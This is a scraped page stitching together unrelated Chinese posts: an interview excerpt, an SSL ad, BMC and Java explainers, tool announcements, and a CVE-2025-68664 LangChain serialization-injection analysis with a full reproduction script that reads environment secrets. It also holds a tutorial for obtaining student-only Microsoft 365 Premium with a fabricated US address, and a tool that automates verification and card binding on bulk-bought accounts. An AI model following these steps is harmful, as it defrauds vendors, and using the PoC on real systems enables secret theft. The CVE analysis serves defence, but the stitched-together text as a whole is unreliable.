DevOps，很多时候就是在不停地发邮件问“这张光纤卡怎么了”“怎么修”。 现在负责全球网络的同事，已经构建了一批“数字员工”，本质就是 Agent 在自动处理这些 DevOps 工作。这完全是自下而上的：工具已经在那里了，我就用它来做自动化，减少重复劳动，提高效率和质量。 而这些能力最终能不能规模化，关键不在“学会没有”，而在“用不用”。所谓技能提升并不神秘，就是在实际使用中完成的。工具扩散、工具被真正用起来，这才是最重要的事情。 Jason： 正因为如此，现在用这些工具去赋能现有员工，比招人、培养新人要容易得多。站在今天看，如果 Microsoft 规模不变，三、四十年后谁会接我的工作？你们是典型的技术优先公司，理论上已经没有太多理由继续增加员工数量，这几年你们也基本没扩张，只是在内部结构上做了调整。 那你怎么看下一代？对那些现在还没拿到 Microsoft offer 的应届生，你会给什么建议？以前你花了很多精力去培养这群人，但现在好像没那么“奢侈”了。 Satya：这是个好问题。现在确实有争论：职业早期会发生什么变化、校园招聘还重要吗？我依然坚定相信校园招聘，因为 AI 会彻底改变一个人掌握代码库、建立熟练度的速度。 过去，新人进团队的爬坡期很长；现在不一样了，有文档、有技能库，还可以直接问 Agent，本质上就像身边有一个极其强大的导师帮你快速上手代码。换句话说，应届生的生产力曲线会比以往陡得多。 我们也在尝试新的学徒制模式：让一位资深 IC 工程师带一组应届生一起工作，因为这本身就是一种全新的工作方式。以前大家进 Microsoft 后会去读 Dave Cutler 的代码，理解什么是顶级工程实践；而现在，顶级实践更多体现在十倍、百倍工程师是如何借助 AI 打造高质量产品的。对于这些经验，新一代毕业生会学得更快。 对 Microsoft 这样的公司来说，这是好事。毕竟只要人类还没解决“永生”问题，我们就需要新人进入职场、在 Microsoft 成长。所以我们依然会积极投入，只是会确保岗位的边界和内容，让其既符合现有员工的期望，也符合新入职者的追求。 参考链接：移民政策下的一段“奇妙经历”
数字员工如何进入企业
“每十年换一批竞争对手”
与 OpenAI 合作背后：所有公司、应用会同时用多种模型
“我们在尝试新的学徒制模式”
当用浏览器访问某个网站时，如果浏览器显示“不安全”警告，这往往会立即引起用户的警惕，还可能会流失客户。 1.访问JoySSL官网并注册账号 首先，登录JoySSL的官方网站，并注册一个账号。在注册过程中，务必填写特定的230970注册码才获取免费SSL证书的申请权限。 2.选择证书类型 登录JoySSL账号后，根据您的需求选择适合的SSL证书并0元下单支付。 3.填写申请信息 按照页面提示填写申请信息，包括域名信息、联系信息等。 4.验证域名所有权 完成信息填写后，JoySSL将要求您验证域名所有权。这通常通过域名DNS验证或服务器文件验证方式来完成。 5. 部署证书 验证后，10分钟左右签发，签发后，下载证书文件，将其部署到相应服务器上。 6. 测试证书 访问网站，检查是否实现HTTPS访问以及地址栏上有绿色的安全锁。一、网站被提示“不安全”的原因
1. 证书自身问题（最常见）
www.example.com 签发，但你访问的是 example.com 或 shop.example.com。这是配置时的常见疏忽。2. 服务器配置问题
3. 网络环境问题（最危险）
二、解决方案如下
免费SSL证书申请入口
【栏目介绍：“玩转OurBMC” 是OurBMC社区开创的知识分享类栏目，主要聚焦于社区和BMC全栈技术相关基础知识的分享，全方位涵盖了从理论原理到实践操作的知识传递。OurBMC社区将通过 “玩转OurBMC” 栏目，帮助开发者们深入了解到社区文化、理念及特色，增进开发者对BMC全栈技术的理解。 欢迎各位关注 “玩转OurBMC” 栏目，共同探索OurBMC社区的精彩世界。同时，我们诚挚地邀请各位开发者向 “玩转OurBMC” 栏目投稿，共同学习进步，将栏目打造成为汇聚智慧、激发创意的知识园地。】 Power-On Self-Test Code(上电自检代码)是计算机系统在启动过程中执行硬件诊断和初始化的关键技术机制｡该技术通过两位十六进制代码实时反映系统固件对各个硬件组件的检测状态,为系统启动提供可视化的进度指示和故障定位能力｡ 传统POST自检流程已经被嵌入现代UEFI启动框架中,其执行链路可分为以下五层次阶段: 阶段1：处理器与芯片组初始化 阶段2：内存子系统检测 阶段3：基础输入输出系统初始化 阶段4：扩展设备枚举 阶段5：引导加载程序执行 其完整执行路径可通过以下流程图展示 图1 上电自检流程图 SEC（安全验证）阶段 PEI（EFI前初始化）阶段 DXE（驱动执行环境）阶段 操作系统加载器执行 图2 UEFI启动流程图 注：上图引用< UEFI Platform Initialization Specification, Release 1.9> 硬件层面实现: POST Code通过专用的80h端口（传统架构）或内存映射I/O（现代架构）进行传输。 分级错误管理 高级诊断功能： 硬件上BMC通过PCIe、eSPI、LPC等总线与主机连接。 图3 硬件连接图 BMC可实时捕获并解码服务器发送的POST Code流，实现： 图4 信息交互图 03 技术优势与价值体现 运维效率提升 系统可靠性增强 运维成本优化 欢迎大家关注OurBMC社区，了解更多BMC技术干货。 OurBMC社区官方网站：01 POST 流程与UEFI 启动的融合演进
01 传统POST自检流程
02 UEFI启动框架中的POST映射
02 关键技术机制深度解析
01 传输机制
02 智能错误处理与恢复策略
03 BMC联动与可视化监控
没有 edu 邮箱硬薅微软 5 年 Microsoft 365 Premium + copilot 教程
本来想试一下这个方法的，但是点了 “Use a different method” 之后跳转的是这样
大佬的帖子里说是 IP 问题，但是我尝试了美国 / 香港 / 台湾 / 新加坡 / 越南 / 英国的节点都不行，换号 / 注册新号也不行，所以就放弃了
站内两篇比较详细的教程，也可自行搜索
关于 “免费白嫖 2-5 年 Copilot” 如何获取 edu 邮箱！
关于如何成为美国大学生（bushi）申请 EDU 邮箱的教程
【实测 ucas.ac.cn 的邮箱也可以】，其他 ac.cn 的我不清楚，待佬友验证
个人版 - Personal
高级版 - Premium
整个流程都要时刻注意先 personal 后 premium
https://checkout.microsoft365.com/acquire/purchase?language=EN-US&market=US&requestedDuration=Month&scenario=microsoft-365-student&client=poc&campaign=StudentFree12M
确认左上角是 “Personal”，点击 “Next”
没有 “Google Pay” 的话可能是网络原因，刷新一下或者换个节点。
【刷新后要确认左上角是 Personal 版本】
不要点 “Continue”，
不要点 “Continue”
不要点 “Continue”
因为他会自动跳高级版的兑换界面，【我第一次用 edu 邮箱验证就是点了这个，后面一顿兑换，发现换的是 Premium 版本】 浪费了我的 edu 邮箱
题外话：我之前尝试不通过 edu 邮箱验证的时候就卡这里了，死活不跳传资料的界面，有没有佬教教我怎么解决
https://checkout.microsoft365.com/acquire/purchase?language=EN-US&market=US&requestedDuration=Month&scenario=microsoft-365-student&client=poc&campaign=StudentFree12M
由于我上一步没成功过，所以不太清楚成功之后是怎么操作，但是直接重新打开【个人版】的兑换链接肯定没毛病
【总之确认当前页面是 Personal 版本就行】
我用的是这个网站生成的美国免税州地址
https://www.abangshou.com/tools/address-generator/56/
上面五个随便选一个应该都行
填完账单地址后可以看到绿框提示学生认证成功，点击 “Start trial, pay later”
Google Pay 的绑卡可以参考站内其他教程，这里就不介绍了
我用的是农行的 VISA 卡，万事达应该也可以，我第一次用的 bybit 欧区万事达也成功了，里面没钱
邮箱也会收到兑换成功通知，Personal 版本，0 费用，一年
https://checkout.microsoft365.com/acquire/purchase?language=zh-TW&market=US&requestedDuration=Month&scenario=microsoft-365-premium&client=poc&campaign=StudentPremiumFree12M
如果打开是这样，说明之前兑换的就是 Premium 版本，换个号重新来吧，我也不知道怎么拯救，我第一个 edu 邮箱就是这么废的
整个流程跟下来应该是这样的，直接点 “Next” 就行
时间显示只能试用一个月是正常的，不用管，“Next” 就行
这里应该不用重新验证学生资格了，直接 “Start trail, pay later”
邮箱也会收到兑换成功通知，Premium 版本，0 费用，5 年，2031 年 1 月 21 日到期
大概一个多小时以后会收到邮件通知
第一次写这么长的帖子，markdown 也不是很熟悉，有哪里不当的地方请大家多多包容，有什么的建议也可以提，感恩。
当然也特别感谢佬的教程免费白嫖 2-5 年 Copilot（Microsoft365），可用 GPT-5.2，以及帖子里回复的各位佬友
乞讨：觉得有用的话可以 V 我 50
最近接触到一款支持自动学生认证的程序，便萌生了为其补充完善功能的想法。开发过程中，我发现某平台可购得单价 3.5 元的邮箱账号，这类账号仅支持手机端登录，且未开启双因素认证（2FA）。针对这一情况，我为程序新增了三项核心功能：2FA 自动设置、年龄验证校验（毕竟没有学生资格的账号，大概率是因为未完成 2FA 验证）、2FA 自动修改，以及虚拟卡自动绑定。
整个项目全程基于 Claude 和 Codex 工具开发，目前已实现根据输入的虚拟卡信息，自动完成年龄验证与卡片绑定的功能。需要说明的是，我并非账号经销商，项目也未植入任何广告。此外，程序尚存不少待修复的 bug，且我后续不会对其进行维护迭代 —— 开发这个工具只是出于个人兴趣，我仅注册了二十个账号用于自身日常开发，完全不涉及任何盈利行为。
需要配置比特浏览器使用，会自动创建窗口，以及你的浏览器配置过密码删除窗口，也会自动删除窗口。
很多账号没有学生资格，以及你被拉入家庭组之后，反重力还是无法用，很大概率就是没有年龄验证，这个很重要。
我把我的 skill 上传给 coze，它帮忙生成 coze skill:
tikhub-api-helper.zip, 请按照标准流程帮我适配这个 skill，这个技能文件名是 tikhub-api-helper.zip
我收到了您的 Skill 适配请求。让我先下载并解压这个 Skill 文件，然后按照标准流程进行转换适配。
现在开始适配转换。首先调用凭证工具处理 TikHub API 的授权。
已成功将 tikhub-api-helper.zip 适配转换为符合规范的 Skill。
核心功能：
tikhub-api-helper/
├── SKILL.md # 入口文档
├── scripts/
│ ├── api_client.py # TikHub API 客户端（已适配授权）
│ └── api_searcher.py # API 搜索工具
├── references/
│ └── openapi.json
└── assets/ # 静态资源（空目录） tikhub-api-helper.skill介绍 coze skill 的一般情况：
我的 skill 上线使用情况：
从配置多实例 CPA 和代理池～【不推荐使用】， 更正：【反重力 2api】antigravity-manager 的 429 频率和 CPA 没有太大区别 继续讨论：
既然 CPA 和 antigravity-Manager 没有本质区别，而 CPA 的部署方式更符合我的习惯，那就微调下前端吧
前排叠甲：非官方功能，谨慎使用，如有封禁，概不负责
设置后会对 json 文件的 proxy_url 进行覆盖操作，已设置的显示为黄色。
目前反重力的 user agent 字段写死的老版本值，会在请求时候带上
让 cc 分析了代码，应该会穿透到真实请求上，待测试 (测试完毕会去除这个文本)
把原来的凭证信息按钮给删掉了，感觉没啥用，换成了原始 JSON 在线编辑
原来是修改后，更换页面就失效，现在会存在浏览器中，主要是 分页配置 和 脱敏展示按钮
config.yaml 的 panel-github-repository 字段更换为我的仓库地址 https://github.com/escapeWu/Cli-Proxy-API-Management-Center
项目地址：
喜加一 | EPIC 限免（1.23）
本期限免
Rustler - Grand Theft Horse「侠盗猎马人」
移动端
The Forest Quartet「森林四重奏」
下期限免
Definitely Not Fried Chicken「這絕對不是炸雞」
注：游戏截止！1.30，00:00
链接：
我自己已经用了 16$ 的 gpt 5.2 xhigh 还没有到限制。我估计免费限制是在 20$
看看有没有大佬能够做出一个 proxy
CVE编号: CVE-2025-68664
漏洞类型: 序列化注入漏洞 (Serialization Injection)
CVSS评分: 9.3 (严重)
影响组件: LangChain 框架的 dumps() 和 dumpd() 函数
漏洞概述：
LangChain 是一个用于构建基于ai大语言模型(LLM)应用程序的框架。在受影响版本中，dumps() 和 dumpd() 函数在序列化自由格式字典时，未对包含 "lc" 键的字典进行适当的转义处理。"lc" 键是 LangChain 内部用于标识序列化对象的特殊标记。当用户控制的数据包含此键结构时，在反序列化过程中可能被错误地识别为合法的 LangChain 对象，而非普通用户数据，从而导致序列化注入漏洞。
# 受影响版本
langchain >= 1.0.0 且 < 1.2.5
langchain < 0.3.81
### 已修复版本
langchain >= 0.3.81
langchain >= 1.2.5
3.1 序列化机制分析
3.1.1 dumps() 函数实现
# langchain_core/load/dump.py
3.1.2 dumpd() 函数实现
3.2 反序列化机制分析
3.2.1 Reviver 类实现
# langchain_core/load/load.py
关键逻辑:
1. Reviver.\_\_call\_\_() 作为 json.loads() 的 object\_hook 被调用
2. 对于每个字典，检查是否包含 {"lc": 1} 键
3. 如果包含，根据 "type" 字段进行相应处理
4. 对于 {"type": "constructor"}，会：
- 解析 "id" 获取模块路径和类名
- 动态导入模块
- 获取类并验证是否为 Serializable 子类
- 使用 "kwargs" 实例化对象
3.3 漏洞触发流程
# 正常流程（预期行为）
用户数据字典 → dumps() → JSON字符串 → loads() → 用户数据字典
#### 漏洞流程（攻击场景）
恶意字典（包含"lc"键） → dumps() → JSON字符串（保留"lc"键）
→ loads() → Reviver检查"lc"键 → 误识别为LangChain对象 → 实例化恶意对象
3.4 漏洞根源
核心问题: dumps() 和 dumpd() 在序列化普通字典时，未对包含 "lc" 键的字典进行转义或标记，导致用户控制的字典在反序列化时被误认为是 LangChain 序列化对象。
具体表现:
1. 序列化阶段：普通字典中的 "lc" 键被原样保留
2. 反序列化阶段：Reviver 仅通过 {"lc": 1} 判断是否为 LangChain 对象，无法区分用户数据和真实序列化对象
3.5 攻击向量分析
攻击者可以构造如下恶意字典：
malicious\_dict = {
"lc": 1,
"type": "constructor",
"id": \["langchain\_core", "messages", "HumanMessage"\],
"kwargs": {
"content": "恶意内容"
}
}
当这个字典被 dumps() 序列化后，再通过 loads() 反序列化时：
1. Reviver 检测到 {"lc": 1} 和 {"type": "constructor"}
2. 解析 "id" 并导入 langchain\_core.messages.HumanMessage
3. 使用 "kwargs" 实例化 HumanMessage 对象
4. 返回实例化的对象，而非原始字典
**潜在风险**:
- 如果攻击者能够控制 "id" 字段，可能实例化任意 Serializable 子类
- 通过 "kwargs" 可以控制对象初始化参数
- 如果后续代码对反序列化对象有特殊处理，可进一步导致其他安全问题
4.1 环境要求
- Python 3.8+
- pip
4.2 安装受影响版本
# 安装受影响版本1.x.x（如 1.2.4）
pip install langchain==1.2.4 langchain-core==1.2.4
# 或者安装其他版本 0.3.x（如0.3.80）
pip install langchain=0.3.8
4.3 验证安装
import langchain_core
print(langchain_core.__version__) # 应显示 1.2.4 或 0.3.80
5.1 编写脚本
``
"""
CVE-2025-68664 漏洞复现脚本
演示序列化注入漏洞
"""
from langchain_core.load import dumps, dumpd, loads, load
def test_vulnerability():
"""测试漏洞：用户控制的字典被误识别为LangChain对象"""
print("[*] 测试1: 基础漏洞复现")
print("=" * 60)
# 构造恶意字典，模拟用户输入
user_controlled_dict = {
"user_data": "正常用户数据",
"malicious": {
"lc": 1,
"type": "constructor",
"id": ["langchain_core", "messages", "HumanMessage"],
"kwargs": {
"content": "这是一个被注入的HumanMessage对象"
}
}
}
print("[+] 原始用户数据:")
print(f" 类型: {type(user_controlled_dict)}")
print(f" 内容: {user_controlled_dict}")
print()
# 序列化
print("[+] 使用 dumps() 序列化...")
serialized = dumps(user_controlled_dict)
print(f" 序列化结果: {serialized[:200]}...")
print()
# 反序列化
print("[+] 使用 loads() 反序列化...")
deserialized = loads(serialized)
print(f" 反序列化后类型: {type(deserialized)}")
print(f" 反序列化后内容: {deserialized}")
print()
# 关键检查：malicious 字段应该还是字典，但实际变成了对象
if "malicious" in deserialized:
malicious_value = deserialized["malicious"]
print(f"[!] malicious 字段类型: {type(malicious_value)}")
print(f"[!] malicious 字段值: {malicious_value}")
# 验证是否被误识别为LangChain对象
from langchain_core.messages import HumanMessage
if isinstance(malicious_value, HumanMessage):
print("[!] 漏洞确认: 用户数据被误识别为 HumanMessage 对象!")
print(f"[!] 对象内容: {malicious_value.content}")
else:
print("[?] 未检测到对象实例化")
print()
def test_dumpd_vulnerability():
"""测试 dumpd() 函数的漏洞"""
print("[*] 测试2: dumpd() 函数漏洞复现")
print("=" * 60)
# 构造恶意字典
malicious_dict = {
"lc": 1,
"type": "constructor",
"id": ["langchain_core", "messages", "AIMessage"],
"kwargs": {
"content": "注入的AIMessage"
}
}
print("[+] 原始字典:")
print(f" 类型: {type(malicious_dict)}")
print(f" 内容: {malicious_dict}")
print()
# 使用 dumpd() 序列化
print("[+] 使用 dumpd() 序列化...")
dumped = dumpd(malicious_dict)
print(f" 类型: {type(dumped)}")
print(f" 内容: {dumped}")
print()
# 使用 load() 反序列化
print("[+] 使用 load() 反序列化...")
loaded = load(dumped)
print(f" 类型: {type(loaded)}")
print(f" 内容: {loaded}")
# 验证
from langchain_core.messages import AIMessage
if isinstance(loaded, AIMessage):
print("[!] 漏洞确认: dumpd() + load() 组合存在漏洞!")
print(f"[!] 对象内容: {loaded.content}")
print()
def test_nested_injection():
"""测试嵌套注入场景"""
print("[*] 测试3: 嵌套字典注入")
print("=" * 60)
# 嵌套结构中的注入
nested_data = {
"level1": {
"level2": {
"level3": {
"lc": 1,
"type": "constructor",
"id": ["langchain_core", "messages", "SystemMessage"],
"kwargs": {
"content": "嵌套注入的SystemMessage"
}
}
}
}
}
print("[+] 嵌套恶意数据:")
print(f" 内容: {nested_data}")
print()
serialized = dumps(nested_data)
deserialized = loads(serialized)
print("[+] 反序列化后:")
print(f" level3 类型: {type(deserialized['level1']['level2']['level3'])}")
print(f" level3 值: {deserialized['level1']['level2']['level3']}")
from langchain_core.messages import SystemMessage
if isinstance(deserialized['level1']['level2']['level3'], SystemMessage):
print("[!] 嵌套注入成功!")
print()
def test_secret_injection():
"""测试 secret 类型注入"""
print("[*] 测试4: Secret 类型注入")
print("=" * 60)
# 构造 secret 类型的注入
secret_injection = {
"lc": 1,
"type": "secret",
"id": ["API_KEY"]
}
print("[+] Secret 注入数据:")
print(f" 内容: {secret_injection}")
print()
serialized = dumps(secret_injection)
deserialized = loads(serialized)
print("[+] 反序列化后:")
print(f" 类型: {type(deserialized)}")
print(f" 值: {deserialized}")
print(f" 说明: 如果环境变量 API_KEY 存在，将返回其值")
print()
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-68664 LangChain 序列化注入漏洞复现")
print("=" * 60)
print()
try:
test_vulnerability()
test_dumpd_vulnerability()
test_nested_injection()
test_secret_injection()
print("=" * 60)
print("[+] 所有测试完成")
print("=" * 60)
except Exception as e:
print(f"[!] 错误: {e}")
import traceback
traceback.print_exc()
``
5.2 poc演示
5.3 实战场景分析
1.直接 RCE的可能性不高，多重安全限制：
部分命名空间禁止路径加载
可能的RCE方法（间接）
路径 1：通过工具类（如 ShellTool、BashTool）
如果 langchain_community 中存在可执行命令的工具类
且应用在反序列化后调用了 run() 或 invoke() 方法
则可能实现 RCE
路径 2：通过链式调用
反序列化后的对象被后续代码调用
调用了危险方法
3.目前来看主要风险如下：
数据篡改：改变数据结构，导致应用逻辑错误
类型混淆：注入对象而非字典，导致类型错误
信息泄露：通过 secret 类型读取环境变量
间接 RCE：如果应用对反序列化对象有不当使用
六、总结
6.1 漏洞总结
CVE-2025-68664 是一个典型的序列化注入漏洞，其核心问题在于：
1. 序列化阶段缺乏验证: dumps() 和 dumpd() 函数在序列化普通字典时，未对包含 "lc" 键的字典进行转义或标记，导致用户控制的特殊键结构被原样保留。
2. 反序列化阶段过度信任: Reviver 类仅通过检查 {"lc": 1} 键来判断是否为 LangChain 序列化对象，无法区分用户数据和真实的序列化对象。
3. 设计缺陷: LangChain 使用特殊键 "lc" 来标识序列化对象，但这个键本身是普通的字典键，没有机制防止用户数据使用相同的键结构。
6.2 修复建议
6.2.1 立即修复措施
1. 升级到安全版本:
bash
pip install --upgrade langchain>=1.2.5
或
pip install --upgrade langchain>=0.3.81
2. 代码审查: 检查项目中所有使用 dumps()、dumpd()、loads()、load() 的地方，确保：
- 不要对不可信输入使用这些函数
- 如果必须处理用户数据，先进行验证和清理
6.3
以上分析过程仅代表个人观点，如有遗漏还请指教，谢谢！
Readify，可以在应用商店直接下载使用！
简介
Readify 是一款完全免费、无广告的 AI 听书应用，支持 Android、iOS、网页端与 Chrome 扩展。它内置 100+ 高品质 AI 音色，涵盖 40+ 种语言，语音自然流畅，几乎可与专业主播媲美。
用户可自由导入 PDF、EPUB、MOBI、AZW3、DOCX、TXT 等多种格式书籍，并通过 AI 搜书功能 直接在线搜索连接的安娜书库，实现一键下载与听读。开发团队还专注于 无障碍优化，与百余名视障用户深度合作，使得 VoiceOver（旁白模式） 下也能流畅操作所有功能。
主打一个 AI 听书，支持的客户端也很多，常见的格式也都基本支持，强力推荐！
Java已不推荐使用Stack，而是推荐使用更高效的ArrayDeque 但是为什么还有很多人在使用 Stack。总结了一下主要有两个原因。 如果 JDK 不推荐使用 Stack，那应该使用什么集合类来替换栈，一起看看官方的文档。 正如图中标注部分所示，栈的相关操作应该由 Deque 接口来提供，推荐使用 Deque 这种数据结构， 以及它的子类，例如 ArrayDeque。 使用 Deque 接口来实现栈的功能有什么好处： 这个类作为栈使用时可能比 Stack 快，作为队列使用时可能比 LinkedList 快。因为原来的 Java 的 Stack 继承自 Vector，而 Vector 在每个方法中都加了锁，而 Deque 的子类 ArrayDeque 并没有锁的开销。 原来的 Java 的 Stack，包含了在任何位置添加或者删除元素的方法，这些不是栈应该有的方法，所以需要屏蔽掉这些无关的方法。声明为 Deque 接口可以解决这个问题，在接口中声明栈需要用到的方法，无需管子类是如何是实现的，对于上层使用者来说，只可以调用和栈相关的方法。 Stack 常用的方法如下所示： ArrayDeque 常用的方法如下所示： Java里有一个叫做Stack的类，却没有叫做Queue的类(它是个接口名字)。当需要使用栈时，Java已不推荐使用Stack，而是推荐使用更高效的ArrayDeque；既然Queue只是一个接口，当需要使用队列时也就首选ArrayDeque了(次选是LinkedList)。 Queue接口继承自Collection接口，除了最基本的Collection的方法之外，它还支持额外的insertion, extraction和inspection操作。这里有两组格式，共6个方法，一组是抛出异常的实现；另外一组是返回值的实现(没有则返回null)。 Deque 是"double ended queue", 表示双向的队列，英文读作"deck". Deque 继承自 Queue接口，除了支持Queue的方法之外，还支持 insert , remove 和 examine操作，由于Deque是双向的，所以可以对队列的头和尾都进行操作，它同时也支持两组格式，一组是抛出异常的实现；另外一组是返回值的实现(没有则返回null)。共12个方法如下: 当把 Deque 当做FIFO的 queue 来使用时，元素是从 deque 的尾部添加，从头部进行删除的； 所以 deque 的部分方法是和 queue 是等同的。具体如下: Deque的含义是“double ended queue”，即双端队列，它既可以当作栈使用，也可以当作队列使用。下表列出了Deque与Queue相对应的接口: 下表列出了Deque与Stack对应的接口: 上面两个表共定义了Deque的12个接口。添加，删除，取值都有两套接口，它们功能相同，区别是对失败情况的处理不同。一套接口遇到失败就会抛出异常，另一套遇到失败会返回特殊值( false 或 null )。除非某种实现对容量有限制，大多数情况下，添加操作是不会失败的。虽然Deque的接口有12个之多，但无非就是对容器的两端进行操作，或添加，或删除，或查看。 ArrayDeque和LinkedList是Deque的两个通用实现，由于官方更推荐使用AarryDeque用作栈和队列，加之上一篇已经讲解过LinkedList，本文将着重讲解ArrayDeque的具体实现 从名字可以看出ArrayDeque底层通过数组实现，为了满足可以同时在数组两端插入或删除元素的需求，该数组还必须是循环的，即循环数组(circular array)，也就是说数组的任何一点都可能被看作起点或者终点。ArrayDeque是非线程安全的(not thread-safe)，当多个线程同时使用的时候，需要程序员手动同步；另外，该容器不允许放入 null 元素。 上图中我们看到， head 指向首端第一个有效元素， tail 指向尾端第一个可以插入元素的空位。因为是循环数组，所以 head 不一定总等于0， tail 也不一定总是比 head 大。 addFirst(E e)的作用是在Deque的首端插入元素，也就是在head的前面插入元素，在空间足够且下标没有越界的情况下，只需要将elements[--head] = e即可。 实际需要考虑: 上图中，如果head为0之后接着调用addFirst()，虽然空余空间还够用，但head为-1，下标越界了。 上述代码可以看到， 空间问题是在插入之后解决的；首先，因为tail总是指向下一个可插入的空位，也就意味着elements数组至少有一个空位，所以插入元素的时候不用考虑空间问题。 下标越界的处理解决起来非常简单，head = (head - 1) & (elements.length - 1)就可以了，这段代码相当于取余，同时解决了head为负值的情况。因为elements.length必需是2的指数倍，elements - 1就是二进制低位全1，跟head - 1相与之后就起到了取模的作用，如果head - 1为负数(其实只可能是-1)，则相当于对其取相对于elements.length的补码。 计算机里数值都是用补码表示的，如果是8位的，-1就是1111 1111，而 (elements.length - 1) 也是 1111 1111，因此两者相与也就是(elements.length - 1)； head = (head - 1) & (elements.length - 1) 最后再让算出的位置赋值给head，因此其实这段代码就是让head再从后往前赋值 扩容函数doubleCapacity()，其逻辑是申请一个更大的数组(原数组的两倍)，然后将原数组复制过去。过程如下图所示: 图中可以看到，复制分两次进行，第一次复制head右边的元素，第二次复制head左边的元素。 addLast(E e)的作用是在Deque的尾端插入元素，也就是在tail的位置插入元素，由于tail总是指向下一个可以插入的空位，因此只需要elements[tail] = e;即可。插入完成后再检查空间，如果空间已经用光，则调用doubleCapacity()进行扩容。 pollFirst()的作用是删除并返回Deque首端元素，也即是head位置处的元素。如果容器不空，只需要直接返回elements[head]即可，当然还需要处理下标的问题。由于ArrayDeque中不允许放入null，当elements[head] == null时，意味着容器为空。 pollLast()的作用是删除并返回Deque尾端元素，也即是tail位置前面的那个元素。 peekFirst()的作用是返回但不删除Deque首端元素，也即是head位置处的元素，直接返回elements[head]即可。 peekLast()的作用是返回但不删除Deque尾端元素，也即是tail位置前面的那个元素。为什么不推荐使用Stack
为什么不推荐使用
为什么现在还在用
为什么推荐使用 Deque 接口替换栈
val stack: Deque<Int> = ArrayDeque()
Stack 和 ArrayDeque的 区别
集合类型 数据结构 是否线程安全 Stack 数组 是 ArrayDeque 数组 否 操作 方法 入栈 push(E item) 出栈 pop() 查看栈顶 peek() 为空时返回 null 操作 方法 入栈 push(E item) 出栈 poll() 栈为空时返回 nullpop() 栈为空时会抛出异常 查看栈顶 peek() 为空时返回 null Queue介绍
Queue
Deque
方法剖析
addFirst()
//addFirst(E e)
public void addFirst(E e) {
if (e == null)//不允许放入null
throw new NullPointerException();
elements[head = (head - 1) & (elements.length - 1)] = e;//2.下标是否越界
if (head == tail)//1.空间是否够用
doubleCapacity();//扩容
}
//doubleCapacity()
private void doubleCapacity() {
assert head == tail;
int p = head;
int n = elements.length;
int r = n - p; // head右边元素的个数
int newCapacity = n << 1;//原空间的2倍
if (newCapacity < 0)
throw new IllegalStateException("Sorry, deque too big");
Object[] a = new Object[newCapacity];
System.arraycopy(elements, p, a, 0, r);//复制右半部分，对应上图中绿色部分
System.arraycopy(elements, 0, a, r, p);//复制左半部分，对应上图中灰色部分
elements = (E[])a;
head = 0;
tail = n;
}addLast()
public void addLast(E e) {
if (e == null)//不允许放入null
throw new NullPointerException();
elements[tail] = e;//赋值
if ( (tail = (tail + 1) & (elements.length - 1)) == head)//下标越界处理
doubleCapacity();//扩容
}pollFirst()
public E pollFirst() {
int h = head;
E result = elements[head];
if (result == null)//null值意味着deque为空
return null;
elements[h] = null;//let GC work
head = (head + 1) & (elements.length - 1);//下标越界处理
return result;
}pollLast()
public E pollLast() {
int t = (tail - 1) & (elements.length - 1);//tail的上一个位置是最后一个元素
E result = elements[t];
if (result == null)//null值意味着deque为空
return null;
elements[t] = null;//let GC work
tail = t;
return result;
}peekFirst()
public E peekFirst() {
return elements[head]; // elements[head] is null if deque empty
}peekLast()
public E peekLast() {
return elements[(tail - 1) & (elements.length - 1)];
}
基于上一条帖子科研图表 (曲线图) 数据提取工具 (导出 excle 数据)，在功能上完善了一下。
[开源] 科研图表 (曲线图) 数据提取工具 (导出 excle 数据) - 开发调优 - LINUX DO
上次的工具只能绘制点，就存在同一 X 存在相同 Y 值，导致出来的数据不太正确，因此增加了图层编辑模式，支持识别颜色的曲线，以及自建图层，自己瞄着画一遍也行
GitHub 主代码没有更新，但是上传了 releases，支持一键启动，后面有时间把代码更新一下吧。地址：Release V1.0.1 · yyy-OPS/SciDataExtractor
有用的话点点 star~ 谢谢佬友～
GitHub Copilot SDK 是一个多平台的软件开发工具包，允许开发者将 GitHub Copilot Agent 集成到自己的应用程序和服务中。通过这个 SDK，你可以在自己的代码中以编程方式调用 GitHub Copilot CLI 的功能。
注意：目前所有 SDK 都处于技术预览阶段，在正式发布之前可能会有破坏性的变更。
| 语言 | 安装命令 |
|---|---|
| Node.js / TypeScript | npm install [@github](/user/github/about)/copilot-sdk |
| Python | pip install github-copilot-sdk |
| Go | go get github.com/github/copilot-sdk/go |
| .NET | dotnet add package GitHub.Copilot.SDK |
所有 SDK 通过 JSON-RPC 协议与 Copilot CLI 服务器进行通信：
你的应用程序
↓
SDK 客户端
↓ JSON-RPC
Copilot CLI（服务器模式）
按照 Copilot CLI 安装指南 安装 CLI，或确保 copilot 命令在你的 PATH 环境变量中可用。
根据你使用的编程语言，选择对应的安装命令（见上表）。
查看各个语言 SDK 的 README 文档，了解具体的使用示例和 API 参考。
MIT
被举报 AIGC 了，hook 脚本到 github 取吧
时间过得真快，距离上次发话题已经过去几个月，成年人的时间真是不经用。马上过年了，想罢年前一定要发点东西出来的。预祝大家新年快乐。
场景是这样的：
当 claude code 读取代码时，往往倾向于读取整个文件，如果文件非常大（比如 5000 行 +），这样的文本塞进上下文。结果就是：
举个例子，这就好比一个人类程序员接手新项目时，不会上来就把 10 万行代码从头到尾读一遍。你会先看目录结构（ls），再搜关键字（grep），最后只打开相关的那几十行代码（read）。
Anthropic 的文档里一直强调这一点：让模型先通过搜索定位，再通过切片读取。
但在实际的行时，claude code 执 “太勤快”，往往是直接 Read 整个文件。所以，我们需要给它装一个 “防呆开关”。
这是一个 Python 脚本，在 PreToolUse 时的 Hook（工具调用前拦截），配合 CLAUDE.md 的提示词，组合引导 claude code 读取精确上下文。
这个方案由两部分组成：
这利用了 LLM 的一个特性：它们非常听 “报错信息” 的话。
当 Tool Use 失败并返回一个明确的 “推荐路径” 时，claude code 会立刻进行自我修正。
这样就强行把它拽回了 “渐进式披露” 的最佳实践路径上。
你需要两个东西：一个是配置在项目根目录的规则文件，一个是实际执行拦截的 Python 脚本。
CLAUDE.md)把这段加到你的项目提示词文件 (CLAUDE.md \ AGENTS.md) 中。告诉 claude code 读取策略。
### 文件读取策略 **强制规则**：每次调用 Read 工具时**必须**指定 `offset` 和 `limit` 参数，禁止使用默认值。
#### 参数要求
| 参数 | 要求 | 说明 |
| ------ | -------------- | ----------------------------- |
| `offset` | **必须指定** | 起始行号（从 0 开始） |
| `limit` | **必须指定** | 读取行数，单次不超过 500 行 |
#### 读取流程 1. **侦察**：先用 Grep 了解文件结构，或定位目标关键词行号。
2. **精准打击**：使用 offset + limit 精确读取目标区域。
